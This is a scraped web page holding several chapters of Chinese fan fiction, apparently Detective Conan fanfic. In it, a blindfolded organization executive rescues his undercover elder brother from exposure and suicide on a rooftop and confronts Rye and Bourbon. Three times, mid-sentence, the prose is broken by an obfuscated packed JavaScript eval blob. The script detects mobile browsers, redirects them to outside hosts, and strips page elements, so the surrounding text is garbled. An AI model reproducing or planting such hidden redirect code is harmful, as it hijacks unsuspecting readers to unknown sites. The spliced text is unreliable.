是他在无数个深夜梦见,发誓要找到他、保护他的弟弟。 你非但不能带他回家,还要亲手把他推向更深的深渊吗? 你做不到。诸伏景光,你做不到。 职责与私心,樱花警徽与亲缘血脉,无论是哪一种选择,都意味着对另一部分的彻底背叛。 诸伏景光死死攥紧了手中的报告,指节因用力而泛白。纸张在他掌心皱成一团,又被他小心翼翼地、近乎徒劳地试图抚平。最终,他像被抽干了所有力气,缓缓滑坐在地,背靠着冰冷的墙壁。 隐藏它。 将这份报告,彻底封存。不告诉Zero,不告诉任何人。 这不是对罪犯的包庇,而是因为他还没有找到答案。他不知道清浅的真实想法是什么,不知道他为何留在组织,不知道他……是否还想回家。 在弄清楚这一切之前,在找到一条或许能两全的、渺茫的生路之前,他只能将这份报告和那个蒙眼青年置于所有官方程序与风险之外,暂时地、拼尽全力地保护起来。 这一纸报告,给了他苦苦追寻十九年的真相,却未曾给他指明任何出路。 73.赴会 夜晚的横滨,海风裹挟着咸腥与隐约的硝烟气息,穿行于林立的高楼与昏暗的巷陌之间。 这座开放的港口城市,如同一个巨大的阴影舞台,滋养着无数游走于光暗边缘的存在。 为确保效率,这次行动诸伏清浅带上了伊森本堂。在双方心照不宣的“合作”下,适当“借助”对方的力量加快进程,也属情理之中。 然而,伊森本堂敏锐地察觉到一丝不同寻常。 夏特勒兹……似乎有些焦躁。 这个念头一闪而过,随即被他按下。 前方的蒙眼青年步伐依旧平稳,气息沉静,在听完当地成员的汇报后指尖在手机屏幕上快速敲击,冰冷的电子音有条不紊地下达着一个又一个清晰明确的指令,听不出任何情绪波动。 “[岩上,走了,去见一见交易方。]” “是。”伊森本堂沉默地跟上。 是错觉吗? 他无法确定。那位大人的情绪如同深潭,从无外露,可某种无形紧绷的氛围,却如逐渐收紧的丝线萦绕在周围。 系统面板的客服按钮一直都是灰色的,但戳一戳还是能够联系上世界意识。 世界意识显然也知道诸伏清浅对这个节点有多么在意,因此也愿意在节点真正被触发的时候敲一敲系统小窗。 诸伏清浅从未像此刻般,既期盼又恐惧那个提示的到来。 ——只是没想到这个触发时间来得这么……糟糕。 横滨的麻烦本质并不复杂:交易方自恃有当地地头蛇撑腰,企图坐地起价,谈判破裂后演变成了武力冲突。 原本只需施压或更换交易对象即可,偏偏那两箱化学试剂是科研组的紧急需求。 既然已经动手,BOSS便顺水推舟,下令直接抢夺。琴酒远在北海道,于是,在朗姆的“建议”下,这个烫手山芋便被扔到了夏特勒兹手中。 横滨的势力盘根错节,极难应付,即便是清浅,也不得不将关乎哥哥生死存亡的“剧情节点”暂时压下,全力应对眼前的乱局。 时间在紧张的部署与零星冲突中流逝,直至12月7日,夜幕如同浓墨般缓缓铺满天空,阴影下的蠢动愈发明显。 又一次冲突,在不合时宜的地点爆发。 “啧!”诸伏清浅低啐一声,暴躁的气息终于难以抑制,开始在他周身隐隐浮动。 一个个的……怎么都挑在今天! 不知道我今天没心思陪你们玩吗?! 利用车身作为掩体,正用手枪精准策应辅助攻击的伊森本堂瞳孔骤然一缩—— 他眼睁睁地看着那位素来以潜行暗杀著称的上司,竟然后撤一步猛地助跑,放弃了所有迂回战术,如同离弦之箭,正面悍然冲入了敌阵! 伊森本堂:?! 系统,弹道辅助! 【弹道实时预测已开启】 蒙眼青年这完全不符合其风格的举动,不仅让队友一怔,敌人更是出现了瞬间的错愕。 一个瞎子……就这么水灵灵地冲上来了? 然而,就是这短暂的犹豫,让他们用生命亲身体验到了“夏特勒兹”这个代号所代表的恐怖——在绝对的实力差距面前,视觉的缺失根本无法构成弱点! 懂不懂什么叫做单靠听力,就能达到25米靶九环稳定成绩的含金量啊![战术后仰.jpg] 砰!砰! “啊!”“拦下他!”“可恶!” 枪声与惨叫此起彼伏。伊森本堂此刻才真切地意识到,那位在人群中如同鬼魅般穿梭,高效收割生命的蒙眼青年——他的这位“盟友”,其近战能力究竟可怕到何种程度。 夏特勒兹的动作精准、迅捷、狠戾,没有丝毫多余,仿佛一部为杀戮而生的精密机器。 然而,就在战局看似即将被强行镇压之际—— 【叮——】 【剧情节点“苏格兰卧底身份暴露”已触发】 世界意识应约,在节点触发的瞬间给诸伏清浅弹了系统弹窗。 诸伏清浅一惊:现在?! 就是这个分神的瞬间……! 砰! 尽管凭借系统辅助和本能做出了极限规避,那颗灼热的子弹依旧狠狠擦过他的右后肩胛下方! 剧烈的疼痛瞬间炸开,带起一簇刺目的血花! 巨大的冲击力将他整个人狠狠掼向一侧,没有视野的他无法有效调整重心,最终只能重重摔落在冰冷的地面上! “夏特勒兹!”伊森本堂心头一紧,立刻高声示警,同时按住耳麦,厉声命令待命的手下前去清除那个狙击点。 所幸剩余的敌人已被清剿殆尽。蒙眼青年单手撑地,有些踉跄地爬起身,他甚至没有回头,仅凭听觉与直觉,反手就朝着某个方向扣动了扳机。 “呃啊!”一声闷哼传来,某个试图趁机偷袭的身影应声倒地。 “[收拾的事情交给后勤,]”他抬手,用尚且干净的手背擦去溅到脸上的温热血迹,电子音依旧平稳,却透着一股不容置疑的冷厉。 “[要是收拾不好,他们也就别干了。]” 说不了话的弊端就是这样。他踉跄起身,忍着背后火/辣辣的疼痛,一手摸出手机艰难地敲下指令。 回到临时的安全屋,因伤口位置刁钻,诸伏清浅只能让伊森本堂协助处理。 特效止血喷雾带着刺鼻的气味覆盖在深可见骨的擦伤上,带来一阵短暂的冰凉,随即是更加尖锐的痛楚。 绷带层层缠绕,进行加压包扎,殷红的血迹仍不断从内部渗出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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伤口位于肩胛骨下方,子弹虽未残留,却深可见骨,每一次呼吸牵扯到背部肌肉。 而每一次车辆颠簸传来的震动,都如同钝刀割肉,带来阵阵撕裂般的剧痛。 诸伏清浅死死咬住牙关,布洛芬的药效远未发挥作用。 他只能强行调整姿势,更多地用左侧身体去承受猛烈的风阻,试图减轻右背的压力。 系统定位上莱伊和苏格兰之间的距离正在不断缩短,显然追捕已经开始。 ……可恶! 诸伏清浅强行忽略掉痛楚,右手将油门一拧到底,摩托车再次发出怒吼,速度飙升到极限。 黑缎之下,那双雾蓝色的瑞凤眼中,闪过一丝近乎绝望的疯狂。 拜托……一定要赶上啊! 74.FBI…! 诸伏景光在夜色下奔跑,急促的脚步声在空旷的巷道里回荡,不断敲击着他的心脏。 他从未料到,暴露会来得如此猝不及防。 当来到接头点处,看见他的联络员身后那如影随形的“尾巴”时,寒意瞬间窜上脊梁。他当机立断,切断了所有与联络人的联络,迅速撤离。 然而,还是晚了一步——远处那道熟悉的高大身影与他视线相撞,冰冷的墨绿色瞳孔如同锁定了猎物的狼。 ……莱伊。 他发现了联络员的身份,顺藤摸瓜,发现了他。 最初的几秒钟,是生理性的惊骇,血液仿佛逆流,四肢瞬间冰凉。 但多年的卧底本能压倒了一切,他几乎是凭着肌肉记忆猛地后撤,将自己重新投入身后错综复杂的小巷迷宫! 逃! 莱伊绝对不会放过这个往上爬的机会,就算他能够物理意义上封住莱伊的嘴,无缘无故杀死代号成员也会被追责! ——而一旦组织追责,就一定会发现今天发生的事情,他也依旧难逃一死! 既然暴露已成注定,他唯一能做的就是逃!逃过组织的追捕,逃到公安派来支援! ……可是,到底是哪里出了问题? 是联络员的疏忽大意?还是……这根本就是组织精心布置的陷阱? 最近所有的行动、接触过的人、传递出的信息,一帧帧地快速在诸伏景光脑海里闪过。是哪个环节?是哪个细微到被忽略的纰漏? 如果是后者…… 那就意味着,他的身份早已被怀疑,甚至可能被监控多时。 公安……有内鬼,不可信。他瞬间清醒,意识到这一点。 不能联系zero。 任何通讯尝试,都可能不是求生之路,而是将zero也拖入万劫不复的陷阱。这可能是组织的试探,可能是引蛇出洞的毒饵! 他暴露就暴露了,但绝对不能影响到zero的潜伏……! 逃亡的路径混乱而仓促,全凭多年对这片区域的熟悉和求生的本能,也得益于这些年来夏特勒兹对他的特训。 在一个街角,他猛地扑向一旁的水泥柱作为掩体,胸膛剧烈起伏,趁机迅速检查了手枪弹匣。 ……还剩两发子弹。他逃得仓促,身上的武器本就捉襟见肘。 身后,莱伊的脚步声如影随形,沉稳迅捷,带着不容置疑的压迫感,如同死神敲响的丧钟,一步一步紧咬不放。 他抓住一个对方视线受阻的间隙,猛地探身回击一枪,枪声在夜色中炸响,他没有时间去确认是否命中,只能利用这短暂的阻滞,扭身冲向旁边一栋废弃大楼。 大楼内部充斥着灰尘和腐朽的气息。身后的脚步声没有丝毫犹豫紧随而入,踏在碎砾上的声音在空旷的建筑内无限放大,一声声如同死亡的倒计时,清晰地敲在诸伏景光心上。 砰! 又一声枪响,来自追猎者。 子弹擦着他的耳畔飞过,打在身后的墙体上,溅起一片水泥碎屑。 诸伏景光能感觉到对方精准的压制和强大的心理素质。 最后一发子弹在他回击时射出了,却如同石沉大海,显然没有击中目标。他只能借助承重柱和废弃隔断的掩护,不断向楼上退去。 然而,上楼并不是一个突破口,而是在逐渐逼近的死亡深渊——这是一条注定没有退路的单行道。每一步向上的台阶,都像是在主动迈向那个早已为他准备好的断头台。 到此为止了吗…… 这个念头,在他终于退无可退,后背抵上冰冷潮湿的天台围墙时,变得无比清晰。 夜幕低垂,残缺的月亮洒下清冷的光辉,将天台照得一片惨白。 临近死亡的边缘,一种奇异的平静反而如潮水般涌上,淹没了之前的惊慌与恐惧。 他看着那个追猎者从容不迫地从楼梯口的阴影里缓步迈出,踏入这片月光。 “……莱伊。” 他念出了对方的名字,声音带着剧烈奔跑后的沙哑,却又异常的平静。 “……苏格兰。” 诸伏景光能清晰地看到对方那双在月光下泛着冷冽的光的墨绿色瞳孔,如同盯紧猎物的野兽。 长发男人迈着沉稳的步伐,一步步逼近。他手中的枪低垂着,却比任何言语都更具威胁。 然后,莱伊抬起了手,动作缓慢而充满压迫感,最终,冰冷的枪口稳稳地瞄准诸伏景光的额头。 “到此为止了。” “是吗……”诸伏景光的眼神攸地沉下,蓝灰色的瑞凤眼闪过一丝狠厉的决绝。“我可不这么认为!” 话音未落,他猛地向前踏出一步,主动缩短了距离! 莱伊瞳孔微缩。很久之前莱伊就和苏格兰对练过一次,那个时候他就知道,苏格兰那受过夏特勒兹特训的打法是多么的刁钻难缠。 电光火石间,两人已过了数招,莱伊抓住一个空档,猛地发力试图给对方一记过肩摔! 然而苏格兰仿佛早已预判,借着这股力道灵巧地顺势一蹬,身体凌空翻转的刹那,手指如铁钳般扣住了莱伊持枪的手腕一扭,手枪顿时被缴械! 属于莱伊的手枪被稳稳握在诸伏景光手中,黑洞洞的枪口指向了原主人! 局势瞬间逆转! “不愧是你……苏格兰。”莱伊发出一声意味不明的低笑,缓缓举起了双手,“我这可不是在向你求饶,但在对我开枪前,要不要先听我说几句话?” ……拖延时间。诸伏景光瞬间判断。 “……这把枪可不是为了对你开枪才抢的。”他声音低沉,带着一种令人心悸的平静。 “而是为了……这么做!” 枪口,没有丝毫犹豫,调转,精准地抵在了自己左胸心脏的位置! 莱伊墨绿色的瞳孔骤缩!“等等——!”他低吼一声,身体比思维更快,猛地前扑,一只手如同铁箍般死死扣住了手枪的转轮! 一旦左轮手枪的汽缸被抓住,单凭人类的力量是绝对不可能扣下扳机的! “放弃自/杀吧,苏格兰!”他的声音忍不住急促了些,“你这样的男人不应该死在这里!” 什……么。 不该……死在这里? “我是FBI派来的卧底搜查官赤井秀一,”男人墨绿色的眸子紧紧锁定他,试图传递出最大的诚意,“跟你一样,都是企图紧紧咬住那帮家伙的猎犬。” “好了,明白的话就把枪放下,好好听我说。” “毕竟,要放走你一个人简直轻而易举。” FBI……放走? 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544837|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个关键词像是一颗投入深潭的石子,在诸伏景光心中激起一丝微不足道的涟漪。 但太晚了,一切都太晚了。 且不论这是否是另一个更精巧的谎言,即便是真的,又能改变什么? 他暴露的事实无法逆转。他绝不能活着落入任何人手中,绝不能给组织任何深挖审讯的机会! 他赌不起。 枪支抵住的位置,与胸口之间还隔着一部手机。那里面的信息是他的死穴,不仅关乎他自己的使命,更关乎Zero的生死,所有家人亲友的安危…… ——更有着夏特勒兹最大的秘密。 绝不能!绝不能让组织有机会去怀疑、去调查夏特勒兹和苏格兰之间可能存在的联系! 所以,zero,抱歉了。看来我似乎……只能逃往另一个世界了。 说好要一起看到黎明,我食言了。 ……以后的路,你要一个人走了。 清浅,对不起……小时候哥哥的懦弱,让你独自面对犯人,没能保护好你……现在,哥哥又要再一次……抛下你了。 明明好不容易才找到你……甚至还没来得及听你再叫一声“哥哥”…… 如果可以的话,我多么希望我们能够在阳光下再次重聚…… 哒哒哒——! 急促到近乎凌乱的脚步声正从楼梯方向飞速逼近! 有人来了!而且速度极快! 莱伊目光一凛,下意识就要回头看向楼梯入口! 就在他视线偏转的千分之一秒,他的眼角余光猛地捕捉到——在天台边缘,苏格兰的身后,一道黑影如同鬼魅般悄无声息地翻越而上,动作流畅得没有带起一丝风声! 前后夹击?! 那道身影的反应快到了极致!在苏格兰和莱伊都未能完全反应的瞬间——寒芒乍现!一柄短刀被来人精准握住,直刺而来! 不是刺向任何人,而是精准地切入莱伊与苏格兰僵持的手枪之间! “铿——!” 刺耳的金属撞击声响起,短刀的刀尖巧妙地一刺、一挑,巨大的震麻感同时传达到争夺的两人手上! 那柄致命的左轮手枪,连同那柄短刀,一同被这股巧力猛地挑飞,划出一道弧线,“哐当”一声落在不远处的天台地面! 诸伏清浅上到来时“看”到这幅画面差点就心脏骤停,后背的痛楚都顾不上,连忙将那把致命的手枪打掉! 因为脱下摩托头盔来不及整理,原本系得严谨的蒙眼黑缎已然松散,几缕汗湿的黑发垂落额前。 当莱伊因惊愕而回头时,正好对上了一双毫无焦距、却仿佛燃烧着滔天/怒焰的雾蓝色凤眼! “FBI……!” 蒙眼的青年从喉间挤出低沉而饱含杀意的气音。 他根本不给对方任何解释的机会,几乎是声音落下的同时,一记势大力沉的侧踢已如同鞭子般狠狠抽向莱伊胸腹! 莱伊急忙后撤格挡,手臂上传来的力量让他心中暗惊。 而几乎就在同一时间,楼梯口,另一道金色的身影也冲了上来——是波本! 降谷零恰好目睹了这电光火石间的一切,也清晰地听到了那句音量不大,却如同惊雷般炸响在他和莱伊耳边的、愤怒到极致的气音: “离我哥远点!” 75.回应 夜色飞速地在视野中掠过,风声在他耳畔化为凄厉的呜咽,将横滨与东京之间的距离疯狂压缩。 系统地图上的两个光点正在不断移动,冰封的理智和燃烧的焦虑让他根本无暇顾及其他,就连后背的痛感也被他强行归入背景音的范畴。 他现在唯一集中思考的是——如何在悲剧发生之前赶到! 【叮——】 【苏格兰威士忌已确认为日本公安卧底,全力进行抓拿。 ——Rum】 ……什么? 系统弹窗突然出现,将组织内网上下达的命令展开在他眼前。 什么时候……?! 诸伏清浅一愣,连忙调出设置在警视厅的机关! ……已经被触发了,但他此刻已无力深究。 组织已经知晓了这个消息,这意味着围捕网将会全面收缩。时间,成了最奢侈的东西。 地图上,代表莱伊和诸伏景光的光点每一次的细微靠近,仿佛都在一点点抽走他的理智。 随着思绪的发散,他脑海中不受控制地翻涌——诸伏景光被逼入绝境、枪口指向额头的瞬间、甚至……那一声终结一切的枪响。 当摩托车终于甩尾停在那栋废弃大楼的阴影下时,诸伏清浅几乎能听到自己心脏在胸腔里疯狂撞击的声音。 抬头望去,天台的边缘在惨白的月光下勾勒出冰冷的剪影。 没有时间了!巨大的心慌感让他止不住地想要颤抖,但被多年训练出的本能死死压制。 钩锁枪! 他毫不犹豫地放弃了常规路径,掏出那支经过特殊消音处理的压缩气体钩锁枪。 他瞄准的不是天台边缘可能发出碰撞声的位置,而是更高处、天台内部一个坚固的通风管道基座。 扣动扳机,钩索带着细微的破空声激射而出,精准锚定! 下一刻,他双腿猛地蹬地,借助钩锁瞬间收紧的牵引力,整个人如同离弦之箭般向上冲去! “呃——!” 在双脚踩在墙面,借助反作用力向上奔跑的瞬间,背后伤口传来的撕裂感几乎让他眼前一黑。 肌肉被强行拉扯,原本在止血喷雾作用下略微凝固的伤口再次崩裂,温热的液体迅速浸透了绷带和衣物,剧痛如同潮水般试图将他淹没。 但他咬碎了牙关,完全凭借惯性和爆发力以及一股不肯放弃的执念向上冲刺! 在身体被牵引至天台栏杆高度的刹那,他的“视野”早已穿透栏杆缝隙,瞬间锁定了天台上的情景——那个幼年时带着他奔跑的身影,正用一把手枪,决绝地抵住自己的心脏! 而莱伊,正死死扣住转轮试图阻止! 时间仿佛在这一刻被冻结拉长。 不。 不行……!!! 灵魂深处发出无声的尖啸。所有的谋划、所有的隐忍、所有的牺牲,在哥哥即将自我终结的这一幕面前,轰然崩塌,显得如此苍白可笑。 那种即将永远失去的恐惧,如同海啸瞬间冲垮了他十多年来赖以生存的理智。 策略?算计?全局?在这一刻,全部灰飞烟灭。 阻止,然后消灭一切威胁! 思维退化到最原始的本能,诸伏清浅单手撑在天台边缘,短暂的滞空中短刀已然握在手中,遵循着身体最本能的反应前刺挑击! “铿——!”金属撞击声刺耳欲聋。 这一击,凝聚了他所有的恐惧、愤怒、绝望和不甘,后背伤口因这剧烈的扭转和发力,传来了仿佛被彻底撕开的剧痛,意识甚至似乎模糊了一瞬。 但他成功了。 当他抬起头的“视线”与惊愕回头的莱伊对上时,那双向来空洞的雾蓝色凤眼中,此刻燃烧着足以焚尽一切的滔天/怒焰。 “FBI……!” 话音未落,他的身体已如猛地向莱伊发起攻击! 而在攻击出手的同时,那句压抑了十九年,终于在理智崩断时本能吼出的话语,也撕裂了寂静: “离我哥远点!” * 什……么。 诸伏景光只觉得握枪的手腕传来一股精准而猛烈的震动,虎口一麻,那柄决定命运的手枪脱手飞出。 他甚至没能完全理解这变故,眼角的余光就捕捉到那道黑影落地、腾挪,一记凌厉到极致的飞踢,将莱伊狠狠逼退。 这一切发生得太快,超越了他大脑的处理速度。意识还停留在“赴死”的指令上,身体却已被这突如其来的暴力性介入强行拉回现实。 他认出了那条在空中划过凌厉弧线的蒙眼黑缎,认出了这个绝不该在此刻出现的人——夏特勒兹,他的……上司。 可是。 离我哥远点。 哥。 这个字眼,不再是模糊的臆想或冰冷的报告结论,而是带着血气与沙哑,像一道惊雷在他空白的大脑里炸开。 ……他疯了?! 率先而来的不是兄弟相认的喜悦,而是深植于卧底本能中的对现状的评估。 诸伏清浅是谁?是组织的高层代号成员夏特勒兹。 那他现在在做什么? ——为了一个已然暴露的卧底,公然拦截代号成员莱伊的追击! 这无疑是公开展示了自己致命的弱点,将最大的把柄亲手奉上!是赤/裸/裸的、公然的背叛! 这意味着诸伏清浅的身份,夏特勒兹的地位,他十多年在组织里如履薄冰的潜伏,所有的伪装、忍耐、努力与牺牲——都可能在这一刻,尽数付诸东流! 诸伏景光同样看清了那双无焦距的雾蓝色眼眸,甚至比上一次瞬间的一瞥看得清晰的多。 ——那是一双燃烧着愤怒的眼睛。 ……这是为了他自己。 是在目睹哥哥即将殒命时,赌上一切的最本能的反击。 他认得自己。他一直都认得他的哥哥。 过往与夏特勒兹相处的无数细节,那些曾被他解读为审视、试探甚至是危险信号的瞬间,此刻都被赋予了全新的的含义。 夏特勒兹对待下属的随和,所谓的能者多劳与信任放权,到底是拉拢人心的手段?还是暗中给予卧底接触权力、展示实力的契机? 夏特勒兹对待任务的兜底风格,是对自身实力的绝对自信?还是为卧底提供更大的操作空间? 一切一切的背后,究竟隐藏着多少他未曾察觉的沉默而艰难的庇护? 他一直在黑暗中独自一人,背负着如此沉重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16549108|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的秘密,默默地守护着他这个差点再次抛下他的哥哥。 而如今,看着和莱伊缠斗在一块的清浅,他甚至不能喊出对方的真名……! 必须想办法帮助清浅! 这个念头在诸伏景光脑海中清晰无比。 他现在绝不能死!如果他死了,清浅自毁式的救援就失去了所有意义! 所幸清浅挑飞的手枪掉落的地方不远,诸伏景光立刻上前捡起,“咔哒”一声,转轮归位,冰冷的枪口带着与之前截然不同的意志,稳稳瞄准了正在与清浅交锋的莱伊! * 这绝对是降谷零目前人生中最糟糕的一天。 奔跑在冰冷锈蚀的铁质消防楼梯上,脚步声在狭窄的空间里撞击出令人心慌的回响,楼梯盘旋向上,仿佛永无尽头,直通他内心最恐惧的深渊。 朗姆的追捕命令太过措不及防,瞬间刺穿了他所有的冷静。 ……为什么? 到底是哪里出了问题? 他不得不抛下一切,用最快的速度赶来。hiro的手机打不通,他只能调出当初设下的保险——在hiro手机里设下的定位。 看着不断移动的定位,他脑海中不受控制地浮现最坏的画面——hiro倒在血泊中,或者是与莱伊进行着最后的对峙…… 恐惧摄住他的心脏——那是对或许即将永远失去幼驯染、失去黑暗中唯一并肩战友的恐惧。 拜托……一定要赶上啊!无论付出何种代价,哪怕赌上自己的身份和性命—— 他也一定要救下景光! 当他终于冲破楼梯口的黑暗,踉跄着踏上天台的水泥地面时,眼前撞入的景象让他的大脑差点死机。 设想中的地狱场景并未出现——没有倒下的幼驯染,也没有最终的枪响。 ……但有更加匪夷所思的场景。 夏特勒兹——那个他始终抱有最深警惕、认定是比莱伊更纯粹黑暗的组织高层,此刻正以一种近乎疯狂的姿态,几乎是压着莱伊打。 他的招式狠戾刁钻,完全是搏命的打法! 而hiro……诸伏景光就站在不远处,安然无恙。 只是他脸上那种复杂的情绪,是降谷零从未见过的。 为什么,为什么夏特勒兹在和莱伊交手? 确认景光还活着,还站着,降谷零那颗几乎要跳出胸腔的心脏这才稍稍落回半分,但随之而来的是更深的困惑。 难道是夏特勒兹和莱伊在争夺“处决苏格兰”的权力?这个想法让他的杀意瞬间飙升,但下一刻,更多的细节纠正着他的判断。 夏特勒兹的站位背对着hiro,不如说是将hiro牢牢护在了他与莱伊的战圈之外; 莱伊的脸上是被突然介入的意外和凝重,而非面对“抢功者”的不满; 而hiro看向夏特勒兹的眼神……那不是警惕,而是一种难以言喻的痛苦担忧……以及一种下定决心的坚毅。 他看见诸伏景光迅速弯腰,捡起了地上那把手枪,“咔哒”一声,枪口毫不犹豫地瞄准了莱伊! 这样的话…… 除了客观上在保护hiro的夏特勒兹,现场的唯一一个敌人就是—— 他抬起了手枪。 76.那我呢(二合一) 事情发生的太过突然,瞬间打破了天台上的局势。 蒙眼黑缎彰显了来者的身份,但是平日里沉静的苍白身影,此刻却显得如此陌生。 凌厉的攻击,那双与苏格兰相似到极致的雾蓝色凤眼,远离“哥”的警告…… 原来如此。 电光石火间,所有线索在莱伊——或者说,FBI搜查官赤井秀一的脑海中轰然贯通。 是兄弟啊。 莱伊……或者说同为卧底的赤井秀一,不得不收回分散的心绪,认真挡下夏特勒兹的攻击。 他见过这位年轻干部出手,那幽灵般刁钻诡谲的风格足以让任何对手头皮发麻。 但直到亲身面对,他才真切体会到其中蕴含的令人窒息的压迫感。 ——稍有不慎,便是万劫不复! 他险之又险地格开一记直取咽喉的戳刺,迅疾后撤避开紧随其后的扫腿,动作间竟透出几分罕见的狼狈。 夏特勒兹能够说话,尽管只是气音,但也足以让他的认知颠覆——这个组织里人尽皆知的“哑巴”,却至今无一人发现真相!他那所谓的残疾,极有可能是精心设计的伪装! 那么……眼睛呢? 他的目光不由自主撞进那片毫无焦距的雾蓝色中。 夏特勒兹,组织里14岁就获得代号的天才干部,地位尊崇、令人畏惧的高层干部,为了救下卧底暴露的兄长,毫不犹豫地选择了公然的自毁式背叛。 他这些年在组织内经营的一切地位、权力、乃至他赖以生存的伪装——都在这一刻,被他亲手抛弃。 在组织这种糟糕的地方中成长,竟然能够伪装至今,手段与心智堪称恐怖。 即便如此,他也依然能够守住本心,甚至在最后一刻,选择守护血缘而非权力。 ——这是断送所有退路的决绝跳反。 这份决断与牺牲,即便立场相对,也足以赢得任何人的尊重。 他之前向苏格兰坦白身份,是出于同为卧底的正义感与同情。而如今…… 他看到了新的转机。 一个拥有海量组织核心情报、且与组织存在根本性冲突的、潜在的超级盟友。 “夏特勒兹。” 在格开又一记狠戾的劈砍后,他借势后撤半步。 “……还有,苏格兰,波本。”墨绿色的瞳孔扫过持枪瞄准他的诸伏景光和降谷零,再落回眼前气息因剧烈运动有些不稳的蒙眼青年身上。“我们不一定要成为敌人。” “或许我们可以谈一谈。” * “……谈?”情绪没有那么快平息的诸伏清浅冷笑一声,“谈个屁。” 他暴躁地回去捡起自己的短刀,动作因背后的伤痛而微不可查地僵滞了一瞬,每一个字都像从牙缝里碾出来: “一个天台,三个卧底,排着队找死,外面还有个老不死的朗姆在追杀……哈,真行。谈吧,活爹们,一谈一个不吱声。” 他根本不在乎这话语带来的冲击力,短刀带着破空声,精准地指向莱伊。 “你,FBI的赤井秀一。” 刀尖转向降谷零, “你,日本公安。” 最后,刀尖垂下,对着诸伏景光的方向,声音陡然变得复杂而压抑, “他,日本公安,我哥。” “身份都摊开了,”他手腕微动,短刀在冰冷的月光下折射出寒芒,“谁再废话一句,我就把他从楼上扔下去。” 信息量的绝对碾压和武力的压制,让节奏牢牢掌握在青年手中。措不及防的身份暴露让在场三位卧底搜查官心脏漏跳一拍。 莱伊——赤井秀一,身份被如此轻易地道破,甚至带出了他的真名,这远超他的预料。 ……是刚才自曝身份时被听到了吗? 一种被彻底看穿的不适与警惕让他下意识开口,试图重新夺回一丝主动权:“夏特勒兹,你究竟……” “我究竟怎么知道的是吗?”诸伏清浅不耐烦地打断,“你美国的大学室友在芝加哥的酒吧里把你当年那点糗事说了大半—— 包括但不限于你为了混进兄弟会,在gay吧和人搭讪结果差点被人家对象揍了一拳的‘光辉历史’。” “在坐所有人里就你的身份最好查。” 在一旁的降谷零观察到赤井秀一的表情有些怔愣——夏特勒兹说对了。 这信息……太过具体,也太过私人,让人由不得不信。 诸伏清浅深吸一口气,焦躁地在原地走了两步转圈。不一会儿他站定,气音微弱但快速抛出一个方案。 “听着,我只说一遍。” “第一,苏格兰‘死了’,必须是死了。尸体、报告,由你莱伊亲自完成并上报……不,报告先拖一拖,我过一会儿会来找你对一下证词。” “第二,”他转向莱伊,抛出了真正的、让人无法拒绝的筹码,“作为回报,我知道你进组织为的是那位MI6的卧底先生,我拿我知道的相关情报和你交易。” 他根本不给莱伊消化这巨大信息量、权衡利弊的机会,直接将所有退路堵死:“能不能搞?不能搞我就直接找琴酒举报去。” 我们三个换你一个,你看组织信谁? 这简直是赤/裸/裸的威胁,但夏特勒兹确实有这么个能力和资本。 所幸这个条件确实直切赤井秀一的需求,他没有理由不答应。 ……就是太过于了解了吧? 夏特勒兹的情报能力,连这个也知道吗? “莱伊留下来‘毁尸灭迹’,把这里炸了,制造足够的交火痕迹。” “至于你们两个,”清浅毫无焦距的雾蓝色凤眼恶狠狠地瞪了诸伏景光所在位置一眼,“跟我走。” “别愣着,留在这里给朗姆那老东西当活靶子吗?!” * 最后诸伏清浅联系了个信得过的清道夫帮忙把摩托车开走,自己则毫不客气地拉开降谷零爱车的副驾驶门,有些吃力地坐了进去。动作间后背的伤口被牵扯,让他几不可闻地抽了口气。 “[去这个地址。]”失语症虽然能勉强发出气音,但在需要清晰沟通时,手机的电子音显然更有效率。他将一个坐标地址展示给降谷零。 似乎是察觉到对方的犹豫,电子音冷漠:“[你总不能指望一个瞎子给你指路。]” 降谷零和诸伏景光喉咙里都堵着无数问题,但在对上对方周身尚未完全散去的低气压时,又都咽了回去。 降谷零最终沉默地启动了引擎。 车内异常安静,只有引擎的低吼和偶尔路过的风声。降谷零专注地握着方向盘,眼神却不时通过后视镜瞥向副驾和后座。 诸伏景光更是几乎将所有的注意力都放在了清浅身上,目光复杂地流连于那苍白的侧脸、松散的黑缎,以及他此刻正专注操作的手机——屏幕上,代码与加密信息如同瀑布般飞速滚动,显然正在处理某些紧急事务。 那噼里啪啦的敲击声仿佛一道无形的屏障,隔绝了所有试图开启的对话,两人都默契地选择了沉默,将翻江倒海的疑问暂时压下。 就在即将到达目的地时,一直埋头于手机的清浅忽然停下了动作,电子音打破了沉默问向降谷零: “[你是接到朗姆的命令,才发现苏格兰卧底暴露的吗?]” 问题来得突兀。降谷零从后视镜里看了他一眼,眉头微蹙:“是。命令下达后我才意识到……” “[在那之前苏格兰没有给你发过任何信息?]” “没有。”回答他的是后座的诸伏景光,“我在意识到暴露的时候没有联系任何人。” “[除了你的联络人?]” “……对。” ……那问题就大了。 车子最终停在一条僻静街道旁,一家看起来早已歇业的私人诊所门前。诊所的招牌小巧,甚至有些不起眼。 清浅率先下车,他无视已然熄灭的“营业中”牌子,直接上前用一种特定的节奏敲响了诊所的大门。 